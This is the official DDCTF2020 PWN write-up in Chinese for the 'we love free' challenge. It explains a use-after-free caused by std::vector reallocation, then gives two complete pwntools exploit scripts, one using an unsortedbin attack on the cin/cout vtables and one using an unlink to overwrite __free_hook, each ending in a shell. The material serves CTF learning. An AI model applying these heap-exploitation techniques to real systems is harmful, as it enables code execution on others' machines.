DDCTF2020官方Write Up——PWN篇

百家 作者:滴滴安全应急响应中心 2020-09-12 21:35:29

目录

?0x01 :we love free

???出题人现身说法,带来官方解读

01

we love free

团队昵称:Nanase

一血用时:2小时13分


出题人

罗爱国

滴滴出行安全工程师

出题人视角

本题使用了vector库,选手需要了解vector的机制。在插入第一个数据时,分配大小为1个数据大小的内存把数据存入;在插入第二个数据时,由于空间已经满了,把已有内存释放,再分配2个数据大小的内存,把数据存入;漏洞点是在show的时候把irte指针保存在bss段,然后再插入数据,这样就导致当前的地址空间被释放,但指针仍然指向的时旧的地址,这样就产生了use after free漏洞。

-----选手Write Up-----

这道题巧妙利用vector的扩容机制设置了一个漏洞,我自己解的时候是用unsortedbin attack攻击的cin,赛后还看到了用unlink来unlink自己的骚操作,这里把两种解法都记录下

解法一

vector结构:

00000000?vector??????????struc?;?(sizeof=0x18,?mappedto_7)
00000000?????????????????????????????????????????;?XREF:?.bss:vec_/r
00000000?start???????????dq??
00000008?cur?????????????dq??
00000010?end?????????????dq??
00000018?vector??????????ends
00000018
00000000?;?[00000018?BYTES.?COLLAPSED?STRUCT?Elf64_Rela.?PRESS?CTRL-NUMPAD+?TO?EXPAND]
00000000?;?[00000010?BYTES.?COLLAPSED?STRUCT?Elf64_Dyn.?PRESS?CTRL-NUMPAD+?TO?EXPAND]

vector的扩容规则是1,2,4,8,16,32,依次乘2个元素的时候会先申请新的空间,在把原来的数据拷贝到新申请的空间中,在释放原先的空间,对应申请的堆块大小(加上头部)0x20,0x20,0x30,0x50,0x90.....

漏洞点:

思路为:

? 先add16个元素(0x90的堆块),这样调用show函数的时候,在push 0xAABBCCDD之后,原先的堆块就会被释放,这样就能有UAF的效果,先泄露下libc的地址,在调用clear函数清空,这里调用clear会触发malloc_consolidate,所以堆又会变成原来的样子


? 在add至少0x20个元素,每个元素都为one_gadget,在堆上残留数据,在调用clear函数清空堆


? 接着在add16个元素,调用show函数


? show函数还会问我们要不要修改元素的值,所以我们可以把unsorted bin的bk指针改掉,用作unsortedbin attack,改成啥后面再说


? 接着在修改push 0xAABBCCDD之后新申请的堆块的大小,改小size,在clear的时候不触发malloc_consolidate,这样就为后面的unsortedbin attack做好了准备


? 最后只要在add 9 个元素,vector就会申请0x80大小的堆块,触发unsortedbin attack,将unsortedbin的地址写入一个地方


现在的问题就是将这个unsortedbin的地址写哪里了,我们可以看到程序用到了cin,cout,在data段上有指针指向他们虚表:

所以我们选择攻击cin或者cout,都试一下,效果如下:

libc2.23有很多one_gadget,这里选的是:

?? 在add完元素之后就会调用cin,或者cout,就能触发one_gadget,拿到shell

exp:

from?pwn?import?*

context.arch?=?'amd64'

#?context.terminal?=?["tmux","split-window","-h"]

def?cmd(command):
????p.recvuntil(">>")
????p.sendline(str(command))
def?add(cap):
????cmd(1)
????p.recvuntil("num:")
????p.sendline(str(cap))

def?show():
????cmd(2)


def?clear():
????cmd(3)


def?main(host,port=5005):
????global?p
????if?host:
????????p?=?remote(host,port)
????else:
????????p?=?process("./pwn1")
????????gdb.attach(p)
????????#?gdb.attach(p,"b?*0x000000000401192")
????for?i?in?range(0x10):
????????add(0xcafebabedeadbeef)
????show()
????p.recvuntil("1:")
????libc.address?=?int(p.recvuntil('\n')[:-1])?-?0x3c4b78
????info("libc?:?"?+?hex(libc.address))
????for?i?in?range(34):
????????p.recvuntil("(y/n):")
????????p.send('n')
????for?i?in?range(0x10):
????????add(libc.address)
????clear()

????for?i?in?range(0x21):
????????add(0xf67b0+libc.address)
????clear()


????#?unsorted?bin?attack
????for?i?in?range(0x10):
????????add(0xcafebabedeadbeef)
????show()
????p.recvuntil("1:")
????p.recvuntil("(y/n):")
????p.send('n')
????p.recvuntil("(y/n):")
????p.send('y')
????#?modify?unsortedbin->bk
????p.sendline(str(0x6051f8-0x10))
????for?i?in?range(32):
????????p.recvuntil("(y/n):")
????????p.send('y')
????????p.sendline(str(0x71))
????clear()
????#?trigger?one_gadget
????for?i?in?range(0x9):
????????add(0xcafebabedeadbeef)

????p.interactive()

if?__name__?==?"__main__":
????libc?=?ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
????main(args['REMOTE'])

解法二

如果把presize给改成-0x10,这样unlink的时候,p就会指向自己+0x10偏移处:

/*?consolidate?backward?*/
????if?(!prev_inuse(p))?{
??????prevsize?=?p->prev_size;
??????size?+=?prevsize;
??????p?=?chunk_at_offset(p,?-((long)?prevsize));
??????unlink(av,?p,?bck,?fwd);
????}


我们可以在这里构造好假的fd和bk,这样在free之后就可以改到数据段上的vec结构,连同迭代器也一起改了,这样就可以直接任意地址读写,把vec的begin改成__free_hook-8,cur改的比begin大就好,end也是,然后add数据的时候就可以修改__free_hook,getshell

exp:

from?pwn?import?*

context.arch?=?'amd64'

context.terminal?=?["tmux","split-window","-h"]

def?cmd(command):
????p.recvuntil(">>")
????p.sendline(str(command))
def?add(cap):
????cmd(1)
????p.recvuntil("num:")
????p.sendline(str(cap))

def?show():
????cmd(2)


def?clear():
????cmd(3)

def?write(data):
????p.recvuntil("(y/n):")
????p.send('y')
????p.sendline(str(data))

def?main(host,port=5005):
????global?p
????if?host:
???????p?=?remote(host,port)
????else:
???????p?=?process("./pwn1")
???????gdb.attach(p)
???????#?gdb.attach(p,"b?*0x000000000401192")
????for?i?in?range(0x10):
???????add(0xcafebabedeadbeef)
????show()
????p.recvuntil("1:")
????libc.address?=?int(p.recvuntil('\n')[:-1])?-?0x3c4b78
????info("libc?:?"?+?hex(libc.address))
????for?i?in?range(34):
???????p.recvuntil("(y/n):")
???????p.send('n')
????clear()

????for?i?in?range(0x10):
???????add(0xcafebabedeadbeef)

????show()

????for?i?in?range(16):
???????p.recvuntil("(y/n):")
???????p.send('n')
????write(-0x10)
????write(0x110)
????write(0)???#?prev_size
????write(0)???#?size
????write(0x605398-0x18)
????write(0x605398-0x10)

????for?i?in?range(12):
???????p.recvuntil("(y/n):")
???????p.send('n')
????for?i?in?range(0xf):
???????add(0xcafebabedeadbeef)
????show()
????#?we?can?overwrite?vec?now?!!
????write(libc.symbols["__free_hook"]-8)??????#?begin
????write(libc.symbols["__free_hook"]-8)??????#?current
????write(libc.symbols["__free_hook"]+0x20)??????#?end

????write(0x605398)??????#?it_begin
????write(0x6053b0)??????#?it_end
????p.recvuntil("(y/n):")
????p.send('n')

????add(u64('/bin/sh\x00'))
????add(libc.symbols["system"])
????clear()

????p.interactive()

if?__name__?==?"__main__":
????libc?=?ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
????main(args['REMOTE'])


-----MISC方向Write Up请查看下一篇-----

关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接